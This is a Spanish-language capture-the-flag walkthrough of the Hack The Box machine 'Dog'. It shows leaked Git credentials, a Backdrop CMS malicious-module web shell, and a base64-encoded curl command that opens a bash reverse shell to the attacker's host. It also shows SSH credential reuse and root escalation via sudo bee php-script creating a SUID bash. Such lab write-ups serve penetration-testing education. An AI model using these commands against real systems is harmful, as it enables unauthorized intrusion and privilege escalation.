Descripción
Dog es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Repositorio Git que expone las credenciales de la base de datos y de un usuario
- Vulnerabilidad de ejecución remota de comandos del CMS Backdrop a través de un plugin
- Pivote de usuario utilizando una credencial anterior
- Elevación de privilegios mediante la herramienta de Backdrop Bee y su funcionalidad “php-script”
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.219.144.
$ ping -c 3 10.129.219.144
PING 10.129.219.144 (10.129.219.144) 56(84) bytes of data.
64 bytes from 10.129.219.144: icmp_seq=1 ttl=63 time=112 ms
64 bytes from 10.129.219.144: icmp_seq=2 ttl=63 time=209 ms
64 bytes from 10.129.219.144: icmp_seq=3 ttl=63 time=112 ms
--- 10.129.219.144 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 111.500/144.206/209.278/46.012 ms
La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Unix. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.219.144 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.219.144
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.99 seconds
Obtenemos dos puertos abiertos, 22 y 80.️
Enumeración
Luego realizamos un escaneo más avanzado, con la versión de los servicios y scripts.️
$ nmap 10.129.219.144 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.219.144
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Backdrop CMS 1 (https://Backdropcms.org)
| http-git:
| 10.129.219.144:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds
Obtenemos el servicio SSH y el servicio HTTP. Encontramos que un repositorio Git está presente en el servidor web. Vamos a descargarlo.️
$ virtualenv .env
$ . .env/bin/activate
$ pip install git-dumper
$ git-dumper http://10.129.219.144:80/.git/ dog_repository
Al entrar en la carpeta dog_repository, encontramos que las credenciales del motor de base de datos MySQL se encuentran en el archivo settings.php.️
$ cd dog_repository
$ head -n 20 settings.php
<?php
/**
* @file
* Main Backdrop CMS configuration file.
*/
/**
* Database configuration:
*
* Most sites can configure their database by entering the connection string
* below. If using primary/replica databases or multiple connections, see the
* advanced database documentation at
* https://api.Backdropcms.org/database-configuration
*/
$database = 'mysql://root:BackdropJ2024DS2024@127.0.0.1/Backdrop';
$database_prefix = '';
/**
* Site configuration files location.
*
Para el usuario root de MySQL encontramos la contraseña BackdropJ2024DS2024 para la base de datos backdrop. Al visitar la página web encontramos una instancia de CMS Backdrop, una alternativa a Drupal.️
Tenemos la capacidad de iniciar sesión pero el usuario administrador y la contraseña del motor de base de datos MySQL no funcionan. Al regresar al código fuente, encontramos una copia de la configuración en el directorio files/config_83dddd18e1ec67fd8ff5bba2453c7fb3.️
$ cd files/config_83dddd18e1ec67fd8ff5bba2453c7fb3
Al buscar direcciones de correo electrónico expuestas encontramos una, tiffany@dog.htb en el archivo active/update.settings.json.️
$ grep -rn "@" .
./active/update.settings.json:12: "tiffany@dog.htb"
Podemos iniciar sesión en el panel de administración con el usuario tiffany y la contraseña BackdropJ2024DS2024.️

Explotación
Backdrop es vulnerable a la ejecución de comandos remotos mediante la subida de un plugin malicioso. Podemos generar el paquete utilizando el script encontrado en Exploit-DB. Debido a los requisitos de la instancia, necesitamos empaquetar el archivo .zip a uno .tar ya que el servidor no tiene activado la extensión ZIP.️
$ searchsploit -m 52021
$ python 52021.py http://10.129.219.144/
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.129.219.144//admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.129.219.144//modules/shell/shell.php
$ tar cvf shell.tar shell
Nos movemos a la página http://10.129.219.144/?q=admin/modules/install para instalar el plugin haciendo clic en el botón Manual installation.️
Luego seleccionamos la opción Upload a module, theme, or layout archive to install.
Finalmente damos clic en el botón INSTALL y la terminal web se subirá al archivo http://10.129.219.144//modules/shell/shell.php. Ahora podemos simplemente activar la vulnerabilidad utilizando cURL. Primero debemos abrir un puerto escuchando por la terminal inversa.️
$ nc -nvlp 1234
$ curl 'http://10.129.219.144/modules/shell/shell.php?cmd=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40NS8xMjM0IDA%2BJjE%3D+%7C+base64+-d+%7C+bash'
Obtenemos la terminal inversa como usuario www-data.️
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.219.144] 35152
bash: cannot set terminal process group (1005): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Explotación
En el sistema encontramos root, jobert y johncusack como usuarios de consola.️
www-data@dog:/var/www/html/modules/shell$ grep bash /etc/passwd
grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
Encontramos que podemos iniciar sesión utilizando SSH con la contraseña BackdropJ2024DS2024 y el usuario johncusack.️
$ ssh johncusack@10.129.219.144
Encontramos que johncusack puede ejecutar un solo comando como usuario root, bee, que es la herramienta de administración para Backdrop.️
johncusack@dog:~$ sudo -l
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
La herramienta tiene opciones para ejecutar comandos como eval o php-script.️
johncusack@dog:~$ /usr/local/bin/bee -h
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
...
Commands:
...
ADVANCED
db-query
dbq
Execute a query using db_query().
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
sql
sqlc, sql-cli, db-cli
Open an SQL command-line interface using Backdrop's database credentials.
Vamos a crear un archivo malicioso PHP que creará un archivo SUID Bash root en el archivo /tmp/run.php con el siguiente contenido y la opción php-script.
<?php
system("cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash");
?>
Luego activamos el comando y podremos obtener una terminal como el usuario root. Necesitamos especificar el parámetro --root con la raíz del servidor web.️
johncusack@dog:~$ sudo bee --root=/var/www/html/ php-script /tmp/run.php
johncusack@dog:~$ /tmp/suid-bash -p
suid-bash-5.0# whoami
root
Flags
En el terminal de root podemos recuperar las flags de usuario y root.️
suid-bash-5.0# cat /home/johncusack/user.txt
<REDACTED>
suid-bash-5.0# cat /root/root.txt
<REDACTED>